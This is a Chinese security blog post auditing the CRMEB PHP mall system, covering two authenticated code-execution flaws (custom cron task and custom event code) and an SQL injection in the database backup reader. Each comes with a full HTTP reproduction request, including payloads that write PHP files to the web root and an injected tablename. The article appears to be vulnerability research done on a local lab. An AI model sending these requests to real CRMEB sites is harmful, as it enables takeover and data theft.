ARTICLE · 1200991

[PHP代审]:某开源商城系统源码审计

发布时间：2026-10-17 18:56:40 最近访问：2026-10-17 18:56:42

[PHP代审]:某开源商城系统源码审计

一、项目介绍

CRMEB 是一套 PHP + ThinkPHP 的商城/客户管理系统。全端覆盖（小程序 / H5 / 公众号 / APP），强大 DIY 装修 + 主题广场，内置多语言、分销、拼团、砍价、秒杀、优惠券、积分、抽奖、会员等级、小程序直播等全场景营销功能。

源码下载地址：https://gitee.com/ZhongBangKeJi/CRMEB

二、代码审计

1.第一处命令执行

在 crmeb/app/adminapi/controller/v1/system/SystemCrontab.php 的第 68-95 行，当 mark 为 customTimer 时，控制器会接收 customCode 字段，但仅对少量危险关键字执行黑名单检查

跟进isSafePhpCode查看黑名单关键词。

crmeb\app\services\system\crontab\SystemCrontabServices.php中customCode经过处理后被持久化json_encode。

customCode在第 228-238 行再次获取该值。

在crmeb\app\services\system\crontab\CrontabRunServices.php中执行了定时任务。

漏洞复现：

进入后台后，依次点击“维护”>“计划任务”>“自定义任务”>“添加计划任务”。

POST /adminapi/system/crontab/save HTTP/1.1Host: 192.168.1.6:8088Content-Length: 329User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36Accept: application/json, text/plain, */*Content-Type: application/json;charset=UTF-8Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiI4NGNmZGQwYTgyMzU4YWZiZmZhYjlkMzBlYzExYTUyMCIsImlzcyI6IjE5Mi4xNjguMS42OjgwODgiLCJhdWQiOiIxOTIuMTY4LjEuNjo4MDg4IiwiaWF0IjoxNzkyMjE4NTE4LCJuYmYiOjE3OTIyMTg1MTgsImV4cCI6MTc5NDgxMDUxOCwianRpIjp7ImlkIjoxLCJ0eXBlIjoiYWRtaW4ifX0.ljQzbbsJIVKx3NP70VyTmPjQopsDCt7ydwDZ5sC5uhwOrigin: http://192.168.1.6:8088Referer: http://192.168.1.6:8088/admin/system/crontabAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: cb_lang=zh-cn; from-crmeb-admin%3AWS_ADMIN_URL=ws://192.168.1.6:8088/notice; from-crmeb-admin%3AWS_CHAT_URL=ws://192.168.1.6:8088/msg; PHPSESSID=298a4237d1ca59c770eff29dc8235778; from-crmeb-admin%3Auuid=1; from-crmeb-admin%3Atoken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiI4NGNmZGQwYTgyMzU4YWZiZmZhYjlkMzBlYzExYTUyMCIsImlzcyI6IjE5Mi4xNjguMS42OjgwODgiLCJhdWQiOiIxOTIuMTY4LjEuNjo4MDg4IiwiaWF0IjoxNzkyMjE4NTE4LCJuYmYiOjE3OTIyMTg1MTgsImV4cCI6MTc5NDgxMDUxOCwianRpIjp7ImlkIjoxLCJ0eXBlIjoiYWRtaW4ifX0.ljQzbbsJIVKx3NP70VyTmPjQopsDCt7ydwDZ5sC5uhw; from-crmeb-admin%3Aexpires_time=1794810518Connection: keep-alive{  "id": 0,  "name": "shell",  "mark": "customTimer",  "content": "",  "type": 1,  "is_open": 1,  "month": 1,  "week": 1,  "day": 1,  "hour": 1,  "minute": 1,  "second": 1,  "customCode":""file_put_contents(\"/var/www/crmeb/public/shell2.php\",base64_decode(\"PD9waHAgcGhwaW5mbygpOz8+\"));","password": "crmeb.com"}//源码config/filesystem.php中的密码

2.第二处命令执行

此处命令执行有一定前提条件，需要修改.env文件中APP_DEBUG为true。

在crmeb\app\services\system\SystemEventServices.php中customCode变量被 JSON 编码后写入数据库。

crmeb\app\event.php中CustomEventListener支持自定义事件。

crmeb\app\listener\CustomEventListener.php中会查询所有与当前事件标签关联的已启用自定义事件记录，并对eval每条记录执行操作。

漏洞复现：

维护 --> 自定义事件 --> 添加自定义事件

POST /adminapi/system/event/save HTTP/1.1Host: 192.168.1.6:8088Content-Length: 210User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36Accept: application/json, text/plain, */*Content-Type: application/json;charset=UTF-8Authori-zation: Bearer xxxOrigin: http://192.168.1.6:8088Referer: http://192.168.1.6:8088/admin/system/eventAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: cb_lang=zh-cn; from-crmeb-admin%3AWS_ADMIN_URL=ws://192.168.1.6:8088/notice; from-crmeb-admin%3AWS_CHAT_URL=ws://192.168.1.6:8088/msg; PHPSESSID=298a4237d1ca59c770eff29dc8235778; from-crmeb-admin%3Auuid=1; from-crmeb-admin%3Atoken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiI4NGNmZGQwYTgyMzU4YWZiZmZhYjlkMzBlYzExYTUyMCIsImlzcyI6IjE5Mi4xNjguMS42OjgwODgiLCJhdWQiOiIxOTIuMTY4LjEuNjo4MDg4IiwiaWF0IjoxNzkyMjE4NTE4LCJuYmYiOjE3OTIyMTg1MTgsImV4cCI6MTc5NDgxMDUxOCwianRpIjp7ImlkIjoxLCJ0eXBlIjoiYWRtaW4ifX0.ljQzbbsJIVKx3NP70VyTmPjQopsDCt7ydwDZ5sC5uhw; from-crmeb-admin%3Aexpires_time=1794810518Connection: keep-alive{"mark":"admin_login","content":"","is_open":0,"name":"123","password":"","customCode":""file_put_contents(\"/var/www/crmeb/public/shell.php\",base64_decode(\"PD9waHAgcGhwaW5mbygpOz8+\"));","password": "crmeb.com"}

3.SQL注入

搜索SQL注入的相关关键词发现tablename进行直接拼接，逆着寻找tablename的参数接受过程是否有过滤。

crmeb\app\adminapi\controller\v1\system\SystemDatabackup.php中可以看到GET获取tablename。

寻找read方法，找到相关路由，并未发现对tablename进行过滤。

漏洞复现：

GET /adminapi/system/backup/read?tablename=eb_user%27%20AND%201%3D1%20--%20 HTTP/1.1Host: 192.168.1.6:8088User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36Accept: application/json, text/plain, */*Authori-zation: Bearer xxxAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: cb_lang=zh-cn; from-crmeb-admin%3AWS_ADMIN_URL=ws://192.168.1.6:8088/notice; from-crmeb-admin%3AWS_CHAT_URL=ws://192.168.1.6:8088/msg; PHPSESSID=298a4237d1ca59c770eff29dc8235778; from-crmeb-admin%3Auuid=1; from-crmeb-admin%3Atoken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiI4NGNmZGQwYTgyMzU4YWZiZmZhYjlkMzBlYzExYTUyMCIsImlzcyI6IjE5Mi4xNjguMS42OjgwODgiLCJhdWQiOiIxOTIuMTY4LjEuNjo4MDg4IiwiaWF0IjoxNzkyMjE4NTE4LCJuYmYiOjE3OTIyMTg1MTgsImV4cCI6MTc5NDgxMDUxOCwianRpIjp7ImlkIjoxLCJ0eXBlIjoiYWRtaW4ifX0.ljQzbbsJIVKx3NP70VyTmPjQopsDCt7ydwDZ5sC5uhw; from-crmeb-admin%3Aexpires_time=1794810518Accept: application/jsonConnection: close

免责声明：本文验证均在本地靶场进行，请勿用于未授权目标中，一切后果由使用者自行承担

相关学习资料